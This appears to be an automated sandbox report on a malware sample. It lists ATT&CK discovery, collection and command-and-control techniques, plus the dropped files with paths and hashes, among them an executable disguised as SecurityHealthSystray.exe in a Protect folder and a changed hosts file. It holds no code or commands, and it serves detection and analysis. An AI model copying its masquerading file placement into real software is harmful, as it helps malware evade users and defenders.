
Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 b99f3c778a047e0348c92c16e0419fa29418d10d0fec61ad8283e92a094a2b32
MD5 aeceee3981c528bdc5e1c635b65d223d
SHA1 de9939ed37edca6772f5cdd29f6a973b36b7d31b
SHA512 df48285f38e9284efdbd9f8d99e2e94a46fb5465953421ab88497b73ae06895b98ea5c98796560810a6f342c31a9112ea87e03cd3e267fd8518d7585f492a8fb
MD5 SHA1 SHA512

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Display (1).png

Path C:\Users\Admin\AppData\Local\Temp\KQEPBvgkZG\Display (1).png
Size 436KB
SHA256 a0afbce925b5798115e2ce23c99bdec4f574bab07c92e7dad978ccf6ec24ba2c
MD5 34770e89102a98c9c2e542d4e872fe10
SHA1 3af3b1ebf6ccfb10f23bc86a1fbd087e5ee10f8b
SHA512 b64a8b9c01be102bc92728422cec13033a0550ae5371ec1ee4f46c5cf73046de255c9ace6c56e44899512ef8b341c52d9c2a84f0a8221d9e400efd56b77778ff
SSDEEP 6144:KUaMCmfdX4b5j3MXlFySUdLT6B0vjwK3TUgNQ/itKdJTfMPPkLu1IeqCc6YkUXbH:K9k2xuSSPW54gNQqSJ7CyMulSnpCXD
MD5 SHA1 SHA512 SSDEEP

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RESC38E.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESC38E.tmp
Size 1KB
SHA256 a6f9df93a6d23f45950632ee899790ff2da8a13841fd4ee2e66913a3ee16280a
MD5 1bf159a97ce958db900343d2be7928ce
SHA1 271104f1b9ffbe7abe60065efe239dfbf140fbb3
SHA512 d32a47c6143f04655bc0ffb5671f27989b997751f0a31842cbcc04d0fcb896c1205f431feaccbc77e235376bd4ceed11fe2aeeb3e4b5f5d6b32a5c5fbe64d4e7
MD5 SHA1 SHA512

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__PSScriptPolicyTest_fpdpnvcl.xke.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fpdpnvcl.xke.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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rv3hjdxa.dll

Path C:\Users\Admin\AppData\Local\Temp\rv3hjdxa\rv3hjdxa.dll
Size 4KB
SHA256 7d3a8d5ff6c59b18f0135b753054c2c81a8f582806e9126d6c8926a6040e72b0
MD5 bb3cf7976da390d78363d2f41b74c21c
SHA1 2704ecd581097b087a97b8ba36b0e76045c73286
SHA512 99160c29ca0444458ff6f083f1780d96b5a723209a24de49cd0311ea96e1e3a548e606280eb546611f1712def02a2cdc2477a20fd2e5e91b3c9b8b711a6ea4ff
MD5 SHA1 SHA512

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SecurityHealthSystray.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
Size 9.9MB
SHA256 125643154c12934da22ed365bacba707a3cc353cde588401f84d61e181e83cad
MD5 caf1fa6480af98c28355550668388ab3
SHA1 793510e3cfc758b970a405dfb568697b388b22f4
SHA512 a5c1d2cf802528251779de302c4d3d84578126e11f3ce2b960d17248915d6ae353ff9b6b9cfce038bde15b940e5b29115210c26a22455e108f0b70b83036fd2f
SSDEEP 98304:OiyzkxkJslYf0Wk8+Z6Uhv0wD4xD1ZvE7IgwmZmHJ1RY7:OqkJsmD/Uhv0E4N1ZsrqG7
MD5 SHA1 SHA512 SSDEEP

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hosts

Path C:\Windows\System32\drivers\etc\hosts
Size 2KB
SHA256 ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075
MD5 6e2386469072b80f18d5722d07afdc0b
SHA1 032d13e364833d7276fcab8a5b2759e79182880f
SHA512 e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb
MD5 SHA1 SHA512

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CSC7DC9B61D87F45C6BAB0B0EF5E206B4C.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\rv3hjdxa\CSC7DC9B61D87F45C6BAB0B0EF5E206B4C.TMP
Size 652B
SHA256 3450aced6bcc283e1a85c26d706bf0d43530d7fe68c99dd6a93972309324122a
MD5 52b3cfa5441540befe7d6fdeac8f66d6
SHA1 359b86f2c985b111837adaa305aab51b7598bb16
SHA512 6c33a80d943b525a066f90900cdd3afa05514bbd42998e9cab64341029b74f89c7e9b46545e42de09de4d5b9cc7fcf808660f5ea35dd9a2d860f2df67e775b63
MD5 SHA1 SHA512

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rv3hjdxa.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\rv3hjdxa\rv3hjdxa.0.cs
Size 1004B
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
MD5 SHA1 SHA512

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rv3hjdxa.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\rv3hjdxa\rv3hjdxa.cmdline
Size 607B
SHA256 eb72a33a9a72dc8131d38c50e797083b01e8fb9116a52e0d6c9ff4593c3fa595
MD5 837ae5a7f7b454062b9cb6f8933086a9
SHA1 d5634982b383faad879fd9184b388f3422a79da1
SHA512 ed538017cd0431c0c315e0bd68f7391a26aad0da91815ba19ef82aef41e2016fd61a00e7af0dbf22ba7d8972bbcb999d5098cb7d6a51e537899651c8f9191973
MD5 SHA1 SHA512

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memory/1760-0-0x00007FFF2E8F3000-0x00007FFF2E8F5000-memory.dmp

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memory/1760-20-0x00007FFF2E8F0000-0x00007FFF2F3B1000-memory.dmp

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memory/1760-15-0x00007FFF2E8F0000-0x00007FFF2F3B1000-memory.dmp

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memory/1760-12-0x000001FB8D470000-0x000001FB8D492000-memory.dmp

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memory/1760-4-0x00007FFF2E8F0000-0x00007FFF2F3B1000-memory.dmp

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memory/4216-62-0x00000217A0B40000-0x00000217A0B48000-memory.dmp

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